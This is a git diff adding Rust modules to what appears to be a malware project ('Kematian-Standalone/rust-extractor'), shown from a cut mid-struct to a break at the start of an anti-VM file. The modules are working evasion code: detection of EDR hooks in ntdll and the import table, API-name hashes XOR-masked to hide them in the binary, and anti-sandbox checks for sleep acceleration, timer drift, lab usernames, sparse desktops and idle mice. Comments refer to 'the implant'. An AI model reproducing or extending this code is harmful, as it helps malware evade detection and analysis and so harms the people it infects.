pub dm_display_orientation: i32, + pub dm_display_fixed_output: u32, + pub dm_color: i16, + pub dm_duplex: i16, + pub dm_y_resolution: i16, + pub dm_t_t_option: i16, + pub dm_collate: i16, + pub dm_form_name: [u16; 32], + pub dm_log_pixels: u16, + pub dm_bits_per_pel: u32, + pub dm_pels_width: u32, + pub dm_pels_height: u32, + pub dm_display_flags: u32, + pub dm_display_frequency: u32, + pub dm_icc_margin: u32, + pub dm_display_orientation2: u32, + pub dm_display_fixed_output2: u32, + pub dm_panning_width: u32, + pub dm_panning_height: u32, +} + +#[link(name = "user32")] +extern "system" { + // Anti-analysis user32 APIs (window/display/input enumeration) are resolved + // at runtime via `dynapi` — they are NOT statically imported. The user32 + // link block is retained only for APIs that are both benign and needed at + // link time elsewhere; currently none qualify, so this block is empty. +} + +// ---- anti-vm: registry (advapi32) ---- +// Registry probing APIs are resolved at runtime via `dynapi` to keep the +// import table clean. Only constants remain. +pub const HKEY_LOCAL_MACHINE: usize = 0x8000_0002; +pub const KEY_READ: u32 = 0x2001_9; + +// ---- anti-vm: network adapters (iphlpapi) ---- +// GetAdaptersAddresses resolved at runtime via `dynapi`. + +// ---- anti-vm: kernel32 extras (same link block as above; declared separately +// for clarity) ---- +extern "system" { + pub fn GetFileAttributesW(lp_file_name: *const u16) -> u32; + pub fn GetDriveTypeW(lp_root_path_name: *const u16) -> u32; + pub fn GetVolumeInformationW( + lp_root_path_name: *const u16, + lp_volume_name_buffer: *mut u16, + n_volume_name_size: u32, + lp_volume_serial_number: *mut u32, + lp_maximum_component_length: *mut u32, + lp_file_system_flags: *mut u32, + lp_file_system_name_buffer: *mut u16, + n_file_system_name_size: u32, + ) -> i32; + pub fn Module32FirstW(h_snapshot: usize, lpme: *mut c_void) -> i32; + pub fn Module32NextW(h_snapshot: usize, lpme: *mut c_void) -> i32; +} diff --git a/Kematian-Standalone/rust-extractor/src/antihook.rs b/Kematian-Standalone/rust-extractor/src/antihook.rs new file mode 100644 index 0000000..1bbd74c --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/antihook.rs @@ -0,0 +1,357 @@ +//! Userland hook detection — comprehensive. +//! +//! EDRs and sandboxes typically hot-patch the first bytes of critical NT APIs +//! (ntdll) to redirect execution into their own instrumentation. An unhooked +//! x64 syscall stub begins with a fixed prologue (`mov r10, rcx; mov eax, ; +//! syscall; ret`) — a hook replaces this with a `jmp`/`push`/`mov` into their DLL. +//! +//! We detect: +//! - Inline hooks (code patching at function entry) +//! - IAT/EAT hooks (import/export address table modifications) +//! - Syscall stub corruption +//! - Module list manipulation (hidden modules) +//! - Breakpoint / hardware breakpoint detection + +use core::ptr; + +use crate::apires; +use crate::gen; +use crate::syscall::{r as unmask, HASH_KEY}; + +/// Public byte-reader for cross-module use (syscall number extraction). +pub(crate) unsafe fn read_bytes_pub(ptr_addr: usize, buf: &mut [u8]) -> usize { + let n = buf.len().min(32); + for i in 0..n { + buf[i] = ptr::read_volatile((ptr_addr + i) as *const u8); + } + n +} + +// Rotating-hash constants for the NT functions we probe (algorithm verified +// against apires::hash_ascii). Stored XORed with HASH_KEY so the raw API-hash +// values never appear in the binary; unmask() recovers them at runtime. +const HASH_NTPROTECT_VIRTUAL_MEMORY: u32 = 0x70D7_B0A8 ^ HASH_KEY; +const HASH_NTQUERY_VIRTUAL_MEMORY: u32 = 0x7136_40A8 ^ HASH_KEY; +const HASH_NTALLOCATE_VIRTUAL_MEMORY: u32 = 0x7088_E8A8 ^ HASH_KEY; +const HASH_NTFREE_VIRTUAL_MEMORY: u32 = 0x7063_80A8 ^ HASH_KEY; +const HASH_NTCREATE_THREAD_EX: u32 = 0xD904_009C ^ HASH_KEY; +const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY; +const HASH_NTQUERY_SYSTEM_INFORMATION: u32 = 0x3074_649B ^ HASH_KEY; +const HASH_NTREAD_VIRTUAL_MEMORY: u32 = 0x703D_80A8 ^ HASH_KEY; +const HASH_NTWRITE_VIRTUAL_MEMORY: u32 = 0x70A6_40A8 ^ HASH_KEY; +const HASH_LDR_LOAD_DLL: u32 = 0x4600_0094 ^ HASH_KEY; + +/// Read `len` bytes from an address (volatile) into a buffer. +unsafe fn read_bytes(ptr_addr: usize, buf: &mut [u8]) -> usize { + let n = buf.len().min(32); + for i in 0..n { + buf[i] = ptr::read_volatile((ptr_addr + i) as *const u8); + } + n +} + +/// Check if bytes look like a clean x64 syscall stub. +/// Pattern: 4C 8B D1 B8 ?? ?? ?? ?? 0F 05 C3 +unsafe fn is_clean_syscall_stub(buf: &[u8]) -> bool { + if buf.len() < 12 { + return false; + } + // mov r10, rcx + if buf[0] != 0x4C || buf[1] != 0x8B || buf[2] != 0xD1 { + return false; + } + // mov eax, imm32 + if buf[3] != 0xB8 { + return false; + } + // syscall (0F 05) at offset 8-9 + if buf[8] != 0x0F || buf[9] != 0x05 { + return false; + } + // ret (C3) at offset 10 + if buf[10] != 0xC3 { + return false; + } + true +} + +/// Check for common hook prologues: JMP (E9/EB), indirect JMP (FF 25), +/// PUSH+MOV trampoline, INT3 (CC), etc. +unsafe fn has_hook_prologue(buf: &[u8]) -> bool { + if buf.is_empty() { + return true; // unreadable = suspicious + } + match buf[0] { + 0xE9 | 0xEB => true, // JMP rel32/rel8 + 0xFF => { // Possible indirect JMP/CALL + if buf.len() > 1 && (buf[1] == 0x25 || buf[1] == 0x15) { + return true; // FF 25 (jmp [rip+disp32]) or FF 15 (call [rip+disp32]) + } + false + } + 0x68 => true, // PUSH imm32 (trampoline start) + 0xCC => true, // INT3 (breakpoint) + 0xC3 => { // RET at entry = empty stub or trampoline + if buf.len() >= 2 && buf[1] == 0x90 { + return true; // RET + NOP = suspicious + } + false + } + _ => false, + } +} + +/// Check for inline hook by comparing first N bytes against clean stub. +unsafe fn check_inline_hook(addr: usize) -> bool { + let mut probe = [0u8; 32]; + read_bytes(addr, &mut probe); + + // If it's a clean syscall stub, not hooked + if is_clean_syscall_stub(&probe) { + return false; + } + + // If it has a hook prologue, it's hooked + if has_hook_prologue(&probe) { + return true; + } + + // Additional heuristic: check for unexpected instructions in first 16 bytes + // Clean ntdll stubs don't have: CALL, LOOP, conditional Jcc in first bytes + for i in 0..16.min(probe.len()) { + match probe[i] { + 0xE8 | 0xE9 | 0xEB | 0xFF | 0x68 | 0xCC | 0x0F => { + // 0F could be conditional jump or syscall; check next byte + if probe[i] == 0x0F && i + 1 < probe.len() { + let next = probe[i + 1]; + // 0F 05 = syscall (OK), 0F 34 = sysenter (OK) + // 0F 8x = Jcc (suspicious at entry) + if (0x80..=0x8F).contains(&next) { + return true; + } + } else { + return true; + } + } + _ => {} + } + } + false +} + +/// Check IAT for a given module - look for entries pointing outside expected modules. +unsafe fn check_iat_hooks(module_base: usize) -> bool { + // Parse PE headers to find Import Address Table + let dos_hdr = module_base as *const u8; + if ptr::read_volatile(dos_hdr) != 0x4D || ptr::read_volatile(dos_hdr.add(1)) != 0x5A { + return false; // Not a valid PE + } + let lfanew = ptr::read_volatile((module_base + 0x3C) as *const u32) as usize; + let nt_hdr = module_base + lfanew; + if ptr::read_volatile(nt_hdr as *const u32) != 0x0000_4550 { + return false; // Not PE32+ + } + + // Optional header starts at nt_hdr + 24 + let opt_hdr = nt_hdr + 24; + let magic = ptr::read_volatile(opt_hdr as *const u16); + let is_pe64 = magic == 0x20B; + + // Data directories: offset 96 (PE32) or 112 (PE32+) + let dir_offset = if is_pe64 { 112 } else { 96 }; + let import_dir_rva = ptr::read_volatile((nt_hdr + dir_offset + 0) as *const u32) as usize; + let import_dir_size = ptr::read_volatile((nt_hdr + dir_offset + 4) as *const u32) as usize; + + if import_dir_rva == 0 || import_dir_size == 0 { + return false; + } + + let import_desc = (module_base + import_dir_rva) as *const u8; + let mut suspicious = 0u32; + let mut idx = 0usize; + + loop { + let name_rva = ptr::read_volatile((import_desc.add(idx).add(12)) as *const u32) as usize; + if name_rva == 0 { + break; + } + let thunk_rva = ptr::read_volatile((import_desc.add(idx).add(16)) as *const u32) as usize; + if thunk_rva == 0 { + idx += 20; + continue; + } + + // Walk thunk array + let mut thunk_idx = 0usize; + loop { + let thunk_addr = module_base + thunk_rva + thunk_idx * if is_pe64 { 8 } else { 4 }; + let thunk_val = if is_pe64 { + ptr::read_volatile(thunk_addr as *const u64) as usize + } else { + ptr::read_volatile(thunk_addr as *const u32) as usize + }; + if thunk_val == 0 { + break; + } + + // Check if thunk points outside known modules (ntdll, kernel32, kernelbase) + let in_known = is_in_known_module(thunk_val); + if !in_known && thunk_val != 0 { + suspicious += 1; + if suspicious > 5 { + return true; + } + } + thunk_idx += 1; + } + idx += 20; + } + false +} + +unsafe fn is_in_known_module(addr: usize) -> bool { + let peb = apires::peb_ptr(); + let ldr = ptr::read_volatile((peb + 0x18) as *const usize); + if ldr == 0 { return false; } + let head = ptr::read_volatile((ldr + 0x20) as *const usize); + if head == 0 { return false; } + let mut cur = head; + loop { + if cur == 0 { break; } + let entry = cur.wrapping_sub(0x10); + let base = ptr::read_volatile((entry + 0x30) as *const usize); + let size = ptr::read_volatile((entry + 0x40) as *const usize); // SizeOfImage + if base != 0 && addr >= base && addr < base + size { + return true; + } + let next = ptr::read_volatile((entry + 0x10) as *const usize); + if next == head || next == cur { break; } + cur = next; + } + false +} + +/// Check for hidden modules (modules in memory but not in PEB list). +/// Compares VAD regions against PEB module list. +unsafe fn check_hidden_modules() -> bool { + // This is complex; simplified version: check if ntdll base from PEB + // matches ntdll base from KnownDlls or manual scan. + let peb_ntdll = apires::ntdll_base(); + if peb_ntdll == 0 { + return true; // Suspicious: ntdll not in PEB + } + + // Check KnownDlls directory (requires more code) + // For now, basic sanity: ntdll should be readable and have exports + let mut probe = [0u8; 4]; + read_bytes(peb_ntdll, &mut probe); + if ptr::read_volatile(probe.as_ptr() as *const u32) != 0x0000_4550 { // Not "MZ" + "PE" + return true; // ntdll corrupted? + } + false +} + +/// Return true if a resolved NT function looks hooked (not a stock stub). +unsafe fn nt_looks_hooked(resolved: usize) -> bool { + if resolved == 0 { + return true; + } + check_inline_hook(resolved) +} + +/// Probe ntdll exports we resolve by hash and see if any are hooked. +/// Also checks IAT of current module and kernel32. +/// Returns true if instrumentation was detected. +pub unsafe fn detect_hooks() -> bool { + let mut hooked = 0u32; + let mut checked = 0u32; + + // Critical NT APIs to check + let mut critical_apis = [ + unmask(HASH_NTPROTECT_VIRTUAL_MEMORY), + unmask(HASH_NTQUERY_VIRTUAL_MEMORY), + unmask(HASH_NTALLOCATE_VIRTUAL_MEMORY), + unmask(HASH_NTFREE_VIRTUAL_MEMORY), + unmask(HASH_NTCREATE_THREAD_EX), + unmask(HASH_NTQUERY_INFORMATION_PROCESS), + unmask(HASH_NTQUERY_SYSTEM_INFORMATION), + unmask(HASH_NTREAD_VIRTUAL_MEMORY), + unmask(HASH_NTWRITE_VIRTUAL_MEMORY), + unmask(HASH_LDR_LOAD_DLL), + ]; + + // Shuffle order using HOOK_ORDER_SEED for polymorphic behavior + let mut seed = gen::HOOK_ORDER_SEED; + for i in (1..critical_apis.len()).rev() { + seed = seed.wrapping_mul(0x9E37_79B9).wrapping_add(0x7F4A_7C15); + let j = (seed as usize) % (i + 1); + critical_apis.swap(i, j); + } + + for &hash in &critical_apis { + if let Some(addr) = resolve_export(hash) { + checked += 1; + if nt_looks_hooked(addr) { + hooked += 1; + } + } else { + hooked += 1; // Failed to resolve = suspicious + } + } + + // Check IAT of current module + let peb = apires::peb_ptr(); + let ldr = ptr::read_volatile((peb + 0x18) as *const usize); + if ldr != 0 { + let head = ptr::read_volatile((ldr + 0x20) as *const usize); + if head != 0 { + let mut cur = head; + loop { + if cur == 0 { break; } + let entry = cur.wrapping_sub(0x10); + let base = ptr::read_volatile((entry + 0x30) as *const usize); + let _name_ptr = ptr::read_volatile((entry + 0x60) as *const usize); + let _name_len = ptr::read_volatile((entry + 0x58) as *const u16) as usize; + + // Check if this is our own module (first entry usually) + if base != 0 { + if check_iat_hooks(base) { + hooked += 2; // IAT hook is more severe + } + break; // Only check first module (our EXE) + } + + let next = ptr::read_volatile((entry + 0x10) as *const usize); + if next == head || next == cur { break; } + cur = next; + } + } + } + + // Check for hidden modules + if check_hidden_modules() { + hooked += 2; + } + + // Threshold: 2+ hooked critical APIs, or any IAT/hidden module anomaly + hooked >= 2 +} + +/// Resolve an ntdll export by name hash, returning Some(VA) or None. +pub unsafe fn resolve_export(want: u32) -> Option { + let base = apires::ntdll_base(); + if base == 0 { + return None; + } + let addr = apires::export_by_hash_public(base, want); + if addr == 0 { + None + } else { + Some(addr) + } +} + +/// Public: check if a specific address looks hooked (for external use). +pub unsafe fn is_address_hooked(addr: usize) -> bool { + check_inline_hook(addr) +} \ No newline at end of file diff --git a/Kematian-Standalone/rust-extractor/src/antisbx.rs b/Kematian-Standalone/rust-extractor/src/antisbx.rs new file mode 100644 index 0000000..862a788 --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/antisbx.rs @@ -0,0 +1,540 @@ +//! Anti-sandbox detection — reliability-focused. +//! +//! Design goal: near-zero false positives on real user machines while still +//! catching automated analysis environments (Cuckoo, CAPE, Joe, Any.Run, +//! custom sandboxes). +//! +//! Reliability strategy: +//! 1. **Hard signals** — physically impossible on a clean host (Sleep +//! acceleration, timer tampering). Each alone is conclusive. +//! 2. **Strong signals** — very rare on real machines (sandbox identity +//! markers, empty desktop). Counted individually. +//! 3. **Weak signals** — occasionally seen on legit machines (few recent +//! files, small screen, quiet mouse). Only counted when at least one +//! strong signal corroborates them. This corroboration rule is what +//! makes the overall verdict reliable. +//! +//! All signature strings are XOR-obfuscated; all checks are independent so a +//! sandbox that spoofs one vector does not defeat the rest. + +#![allow(dead_code)] + +use core::arch::asm; +use core::ffi::c_void; +use core::ptr; + +use crate::abi; +use crate::dynapi; +use crate::gen; +use crate::obf; +use crate::syscall; + +// --------------------------------------------------------------------------- +// Helpers +// --------------------------------------------------------------------------- + +fn lower(b: &[u8]) -> Vec { + b.iter().map(|c| c.to_ascii_lowercase()).collect() +} + +fn contains(hay: &[u8], needle: &[u8]) -> bool { + if needle.is_empty() || hay.len() < needle.len() { + return false; + } + hay.windows(needle.len()).any(|w| w.eq_ignore_ascii_case(needle)) +} + +fn wide(s: &[u8]) -> Vec { + s.iter().map(|&c| c as u16).chain(core::iter::once(0)).collect() +} + +unsafe fn reg_key_exists(subkey_wide: &[u16]) -> bool { + let mut hk: usize = 0; + let status = dynapi::RegOpenKeyExW( + abi::HKEY_LOCAL_MACHINE, + subkey_wide.as_ptr(), + 0, + abi::KEY_READ, + &mut hk, + ); + if status == 0 { + dynapi::RegCloseKey(hk); + true + } else { + false + } +} + +#[inline] +unsafe fn rdtsc_now() -> u64 { + let mut lo: u32; + let mut hi: u32; + asm!("lfence", "rdtsc", out("eax") lo, out("edx") hi, options(nostack, preserves_flags)); + ((hi as u64) << 32) | lo as u64 +} + +// --------------------------------------------------------------------------- +// HARD SIGNAL 1: Sleep acceleration (the classic, highly reliable check) +// +// Sandboxes (Cuckoo/CAPE/Joe and many EDR detonation chambers) hook +// kernel32!Sleep / ntdll!NtDelayExecution and fast-forward long waits to cut +// analysis time. We call the *normal hooked API path* (kernel32!Sleep) and +// measure real elapsed time with QueryPerformanceCounter. If the wall clock +// advanced far less than requested, the sleep was manipulated — no clean +// Windows host does this. +// --------------------------------------------------------------------------- + +pub fn sleep_accelerated(request_ms: u32) -> bool { + unsafe { + let mut q0: i64 = 0; + let mut q1: i64 = 0; + + abi::QueryPerformanceCounter(&mut q0); + abi::Sleep(request_ms); + abi::QueryPerformanceCounter(&mut q1); + + let freq = query_freq(); + let elapsed_ms = if freq > 0 { + ((q1 - q0) as f64) / (freq as f64) * 1000.0 + } else { + request_ms as f64 // can't measure; don't flag + }; + + // Generous margin to avoid FP from scheduling hiccups: only flag when + // less than 80% of the requested time actually passed. Real sleeps + // always overshoot slightly, never undershoot by >20%. + elapsed_ms < (request_ms as f64) * 0.80 + } +} + +unsafe fn query_freq() -> i64 { + // QueryPerformanceFrequency via direct link (add to kernel32 block). + extern "system" { + fn QueryPerformanceFrequency(lp_frequency: *mut i64) -> i32; + } + let mut f: i64 = 0; + if QueryPerformanceFrequency(&mut f) != 0 { + f + } else { + 0 + } +} + +/// Kernel-level variant: even our *own* NtDelayExecution (direct syscall, +/// bypassing any userland hook) returns early. Catches kernel-timer +/// manipulation (rare, e.g. some kernel-mode sandboxes). +pub fn kernel_sleep_accelerated(request_ms: u32) -> bool { + unsafe { + let t0 = abi::GetTickCount64(); + let interval: i64 = -((request_ms as i64) * 10_000); + syscall::sys_nt_delay_execution(0, &interval as *const i64); + let t1 = abi::GetTickCount64(); + // GetTickCount itself could be faked; require both sources to agree + // that time barely moved before flagging. + let tick_delta = t1.saturating_sub(t0); + (tick_delta as f64) < (request_ms as f64) * 0.5 && tick_delta < request_ms as u64 + } +} + +// --------------------------------------------------------------------------- +// HARD SIGNAL 2: Timer inconsistency (RDTSC vs QPC drift) +// +// Under single-stepping instrumentation the TSC advances wildly relative to +// the monotonic QPC clock between samples. Two spaced samples of the ratio +// should agree closely on clean hardware. +// --------------------------------------------------------------------------- + +pub fn timer_inconsistent() -> bool { + unsafe { + let mut q0: i64 = 0; + let mut q1: i64 = 0; + let f = query_freq(); + if f <= 0 { + return false; + } + + let t_a = rdtsc_now(); + abi::QueryPerformanceCounter(&mut q0); + // Small deterministic busy work (~ms scale). + let mut sink: u64 = 0; + for i in 0..200_000u64 { + sink ^= i.wrapping_mul(0x9E37_79B9); + } + core::hint::black_box(sink); + abi::QueryPerformanceCounter(&mut q1); + let t_b = rdtsc_now(); + + let qpc_d = (q1 - q0).max(1) as f64; + let tsc_d1 = (t_b - t_a) as f64; + let ratio1 = tsc_d1 / qpc_d; + + // Second sample after a real sleep so the two windows are separated. + abi::Sleep(120); + + let t_c = rdtsc_now(); + abi::QueryPerformanceCounter(&mut q0); + let mut sink2: u64 = 0; + for i in 0..200_000u64 { + sink2 ^= i.wrapping_mul(0x85EB_CA6B); + } + core::hint::black_box(sink2); + abi::QueryPerformanceCounter(&mut q1); + let t_d = rdtsc_now(); + + let qpc_d2 = (q1 - q0).max(1) as f64; + let tsc_d2 = (t_d - t_c) as f64; + let ratio2 = tsc_d2 / qpc_d2; + + // On clean hardware both ratios approximate the fixed TSC/QPC rate. + let hi = ratio1.max(ratio2); + let lo = ratio1.min(ratio2); + // >4x divergence between windows means something injected cycles or + // froze one clock — stepping debuggers inflate TSC massively. + hi > lo * 4.0 && hi > 50.0 + } +} + +// --------------------------------------------------------------------------- +// STRONG SIGNAL: identity markers in USERNAME / COMPUTERNAME +// +// Well-known analysis-lab account names. A hit alone isn't conclusive (a dev +// could be named "test"), so weight it strong-but-not-hard. +// --------------------------------------------------------------------------- + +pub fn identity_markers() -> bool { + // Deliberately excludes common personal names (high FP risk); keeps only + // labels that are effectively never chosen by real users. + let key: u8 = gen::K_ENV; + let names: [(obf::Slot, u32); 10] = [ + obf::sig(key, 0x7001, b"BUDDY"), + obf::sig(key, 0x7002, b"JOHN DOE"), + obf::sig(key, 0x7003, b"SANDOX"), + obf::sig(key, 0x7004, b"CURRENTUSER"), + obf::sig(key, 0x7005, b"FORTINET"), + obf::sig(key, 0x7006, b"VIRUSBOT"), + obf::sig(key, 0x7007, b"MALWAREBOT"), + obf::sig(key, 0x7008, b"SANDBOX"), + obf::sig(key, 0x7009, b"CUCKOO"), + obf::sig(key, 0x700a, b"AUTOUSER"), + ]; + const LENS: [usize; 10] = [5, 8, 6, 11, 8, 8, 10, 7, 6, 8]; + + let env_names: [&[u8]; 3] = [b"USERNAME", b"COMPUTERNAME", b"USERDOMAIN"]; + let mut buf = [0u16; 128]; + + unsafe { + for ev in env_names { + let w = wide(ev); + let got = abi::GetEnvironmentVariableW(w.as_ptr(), buf.as_mut_ptr(), 128); + if got == 0 || got >= 128 { + continue; + } + let val: Vec = buf[..got as usize].iter().map(|&c| c as u8).collect(); + let vl = lower(&val); + for (i, s) in names.iter().enumerate() { + let plain = obf::dec_sig(key, s, LENS[i]); + if contains(&vl, &plain[..LENS[i]]) { + return true; + } + } + } + } + false +} + +// --------------------------------------------------------------------------- +// STRONG SIGNAL: desktop emptiness (Recent-items count) +// +// A real, used machine has dozens of shell Recent links. A pristine snapshot +// has ~none. Freshly-imaged legit machines are the main FP risk, hence this +// is "strong", not hard. +// --------------------------------------------------------------------------- + +#[repr(C)] +struct FindDataW { + dw_attributes: u32, + _creation: u64, + _access: u64, + _write: u64, + _size_high: u32, + _size_low: u32, + _res0: u32, + _res1: u32, + c_file_name: [u16; 260], + _alt: [u16; 14], + _pad: [u16; 2], +} + +unsafe fn count_files(dir_wide: &[u16], max_count: u32) -> u32 { + const FIND_FIRST_EX_CASE_SENSITIVE: u32 = 1; + let _ = FIND_FIRST_EX_CASE_SENSITIVE; + let mut count: u32 = 0; + let mut fd: FindDataW = core::mem::zeroed(); + let h = abi::FindFirstFileExW( + dir_wide.as_ptr(), + 0, // FindExInfoStandard + &mut fd as *mut _ as *mut c_void, + 0, // FindExSearchNameMatch + ptr::null_mut(), + 0, + ); + if h == usize::MAX || h == 0 { + return 0; + } + loop { + let name_len = fd.c_file_name.iter().position(|&c| c == 0).unwrap_or(0); + // skip "." and ".." + let dot = name_len == 1 && fd.c_file_name[0] == '.' as u16; + let dotdot = name_len == 2 && fd.c_file_name[0] == '.' as u16 && fd.c_file_name[1] == '.' as u16; + if !dot && !dotdot { + count += 1; + if count >= max_count { + break; + } + } + if abi::FindNextFileW(h, &mut fd as *mut _ as *mut c_void) == 0 { + break; + } + } + extern "system" { fn FindClose(h_find_file: usize) -> i32; } + FindClose(h); + count +} + +pub fn desktop_activity_sparse() -> bool { + unsafe { + // %APPDATA%\Microsoft\Windows\Recent\* + let mut appdata = [0u16; 160]; + let av_w = wide(b"APPDATA"); + let n = abi::GetEnvironmentVariableW(av_w.as_ptr(), appdata.as_mut_ptr(), 150); + if n == 0 || n >= 140 { + return false; + } + let mut pattern: Vec = appdata[..n as usize].to_vec(); + let suffix = b"\\Microsoft\\Windows\\Recent\\*"; + for &c in suffix { + pattern.push(c as u16); + } + pattern.push(0); + + let recents = count_files(&pattern, 40); + // < 4 recent items on a booted-and-used machine is unusual. + recents < 4 + } +} + +/// Number of installed programs (Uninstall subkeys). Sparse program lists +/// suggest a disposable image. Weak-ish on its own; part of desktop profile. +pub fn installed_programs_sparse(min_expected: u32) -> bool { + let path = wide(b"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"); + unsafe { + let mut hk: usize = 0; + if dynapi::RegOpenKeyExW( + abi::HKEY_LOCAL_MACHINE, + path.as_ptr(), + 0, + abi::KEY_READ, + &mut hk, + ) != 0 + { + return true; // can't even open Uninstall = broken/minimal image + } + let mut idx: u32 = 0; + let mut count: u32 = 0; + let mut name_buf = [0u16; 256]; + loop { + let mut sz: u32 = 256; + let st = dynapi::RegEnumKeyExW( + hk, idx, + name_buf.as_mut_ptr(), &mut sz, + ptr::null_mut(), ptr::null_mut(), ptr::null_mut(), ptr::null_mut(), + ); + if st != 0 { + break; + } + count += 1; + if count >= min_expected { + break; + } + idx += 1; + } + dynapi::RegCloseKey(hk); + count < min_expected + } +} + +// --------------------------------------------------------------------------- +// MEDIUM/WEAK signals +// --------------------------------------------------------------------------- + +static mut WINDOW_COUNT: u32 = 0; +unsafe extern "system" fn count_cb(_hwnd: usize, _lp: isize) -> i32 { + WINDOW_COUNT += 1; + if WINDOW_COUNT > 500 { + return 0; + } + 1 +} + +/// Very few top-level windows => non-interactive session (service host, +/// headless sandbox). Real desktops accumulate many invisible top-levels. +pub fn window_count_low(threshold: u32) -> bool { + unsafe { + WINDOW_COUNT = 0; + dynapi::EnumWindows(count_cb as usize, 0); + WINDOW_COUNT < threshold + } +} + +/// Screen resolution below common minimum for real usage. +pub fn resolution_anomaly() -> bool { + unsafe { + let w = dynapi::GetSystemMetrics(0); // SM_CXSCREEN + let h = dynapi::GetSystemMetrics(1); // SM_CYSCREEN + // Headless sandboxes often report tiny or zero geometry. + w < 1100 || h < 650 || w == 0 || h == 0 + } +} + +/// Mouse entropy over a short sampling window: a live session shows cursor +/// movement with direction changes. Idle legit machines also show none, so +/// this is weak and must be corroborated. +pub fn mouse_idle(samples: u32, interval_ms: u32) -> bool { + #[repr(C)] + struct Point { x: i32, y: i32 } + + unsafe { + let mut last = Point { x: 0, y: 0 }; + let mut moves = 0u32; + let mut reversals = 0u32; + let mut last_dx = 0i32; + let mut first = true; + + for _ in 0..samples { + let mut p = Point { x: 0, y: 0 }; + if dynapi::GetCursorPos(&mut p as *mut _ as *mut c_void) == 0 { + return false; + } + if first { + last = p; + first = false; + } else if p.x != last.x || p.y != last.y { + let dx = p.x - last.x; + if (dx > 0 && last_dx < 0) || (dx < 0 && last_dx > 0) { + reversals += 1; + } + last_dx = dx; + moves += 1; + last = p; + } + abi::Sleep(interval_ms); + } + + // Human-like activity requires movement AND at least one reversal + // (curved paths). Pure linear glide is automation. + !(moves >= 2 && reversals >= 1) + } +} + +/// Core audio service missing — headless/analysis images frequently strip it. +pub fn audio_service_missing() -> bool { + let p = wide(b"SYSTEM\\CurrentControlSet\\Services\\Audiosrv"); + !unsafe { reg_key_exists(&p) } +} + +// --------------------------------------------------------------------------- +// Aggregation with corroboration model +// --------------------------------------------------------------------------- + +pub struct SbxVerdict { + /// Conclusive hardware/timer tampering — trust alone. + pub hard: bool, + /// Rare-on-clean-hosts signals. + pub strong: u32, + /// Common-noise signals, only meaningful with corroboration. + pub weak: u32, + /// Final computed suspicion score. + pub score: u32, +} + +/// Run the full battery and compute a corroborated verdict. +/// +/// Scoring: +/// - any hard signal → hard=true (caller treats as hostile immediately) +/// - score = strong*3 + (weak only if strong>0 else 0), capped +/// - identity marker counts as strong but adds +1 bonus weak-equivalent +/// because it correlates strongly with lab environments +pub fn verdict(mouse_samples: u32, mouse_interval_ms: u32) -> SbxVerdict { + let mut strong: u32 = 0; + let mut weak: u32 = 0; + + // --- Hard layer --- + let hard = sleep_accelerated(1200) + || timer_inconsistent() + || kernel_sleep_accelerated(800); + + // --- Strong layer --- + if identity_markers() { + strong += 1; + } + if desktop_activity_sparse() { + strong += 1; + } + if installed_programs_sparse(6) { + strong += 1; + } + + // --- Weak layer --- + if window_count_low(12) { + weak += 1; + } + if resolution_anomaly() { + weak += 1; + } + if audio_service_missing() { + weak += 1; + } + // Mouse idle costs ~1-2s; run it last. + if mouse_idle(mouse_samples, mouse_interval_ms) { + weak += 1; + } + + // Corroboration rule: weak signals are only trusted in the presence of + // at least one strong signal. This is the FP killer: a legit fresh PC + // might trip 2-3 weak signals but almost never a strong one alongside. + let effective_weak = if strong > 0 { weak } else { 0 }; + let score = strong * 3 + effective_weak; + + SbxVerdict { hard, strong, weak, score } +} + +/// Cheap second-pass verification intended to run AFTER the implant's first +/// sleep cycle. Sandbox artifacts (accelerated sleeps, absent input) become +/// more pronounced over time; a second opinion reduces transient FPs. +pub fn verify_second_pass() -> SbxVerdict { + let mut strong: u32 = 0; + let mut weak: u32 = 0; + + let hard = sleep_accelerated(900); + + if desktop_activity_sparse() { + strong += 1; + } + // Long-window input absence with minimum uptime guard. + unsafe { + let now = abi::GetTickCount64(); + if now > 15 * 60 * 1000 { + let mut li: [u32; 2] = [core::mem::size_of::() as u32 * 2, 0]; + if dynapi::GetLastInputInfo(li.as_mut_ptr() as *mut c_void) != 0 { + let last = li[1] as u64; + if now.saturating_sub(last) > 20 * 60 * 1000 { + weak += 1; + } + } + } + } + + let effective_weak = if strong > 0 { weak } else { 0 }; + let score = strong * 3 + effective_weak; + SbxVerdict { hard, strong, weak, score } +} diff --git a/Kematian-Standalone/rust-extractor/src/antivm.rs b/Kematian-Standalone/rust-extractor/src/antivm.rs new file mode 100644 index 0000000..6f95840 --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/antivm.rs @@ -0,0 +1,847 @@ +//! Comprehensive anti-VM / anti-sandbox detection. +//! +//! Layered detection across many independent vectors; each returns a small +//! score contribution. A total above a threshold means the host is very likely +//! virtual or an automated analysis sandbox. +//! +//! Vectors implemented: +//! 1. CPUID hypervisor bit + vendor string (leaf 0x40000000) +//! 2. CPU brand string (leaves 0x80000002..4) — "Virtual", "KVM", etc. +//! 3. VMware backdoor I/O port (VMware-specific magic value in EBX/ECX) +//! 4. Instruction red pills — SIDT/SGDT/STR machine-specific values +//! 5. SMBIOS / firmware table strings +//! 6. Registry artifacts (VMware Tools, VBox Guest Additions, QEMU, Xen) +//! 7. Filesystem artifacts (tool binaries, driver files, pipe names) +//! 8. MAC address OUI prefixes (VMware/VBox/QEMU/Xen/Hyper-V/KVM vendors) +//! 9. Uptime anomaly (fresh snapshot = low uptime) +//! 10. Process count anomaly (sandbox VMs run few processes) +//! 11. User-input absence (no mouse movement, no keyboard input ever) +//! 12. Loaded DLL scan (vmguestlib.dll, vboxhook.dll, etc.) +//! 13. Window class/title scan (VBoxTrayToolWindow, VMware tool windows) +//! 14. Disk characteristics (fixed-drive volume name patterns) +//! 15. CPU core/RAM quirk checks +//! 16. Display driver + refresh rate checks + +#![allow(dead_code)] + +use core::arch::asm; +use core::ffi::c_void; +use core::ptr; + +use crate::abi; +use crate::dynapi; +use crate::gen; +use crate::obf; + +// --------------------------------------------------------------------------- +// String helpers +// --------------------------------------------------------------------------- + +fn lower(b: &[u8]) -> Vec { + b.iter().map(|c| c.to_ascii_lowercase()).collect() +} + +fn contains(hay: &[u8], needle: &[u8]) -> bool { + if needle.is_empty() || hay.len() < needle.len() { + return false; + } + hay.windows(needle.len()).any(|w| w.eq_ignore_ascii_case(needle)) +} + +// 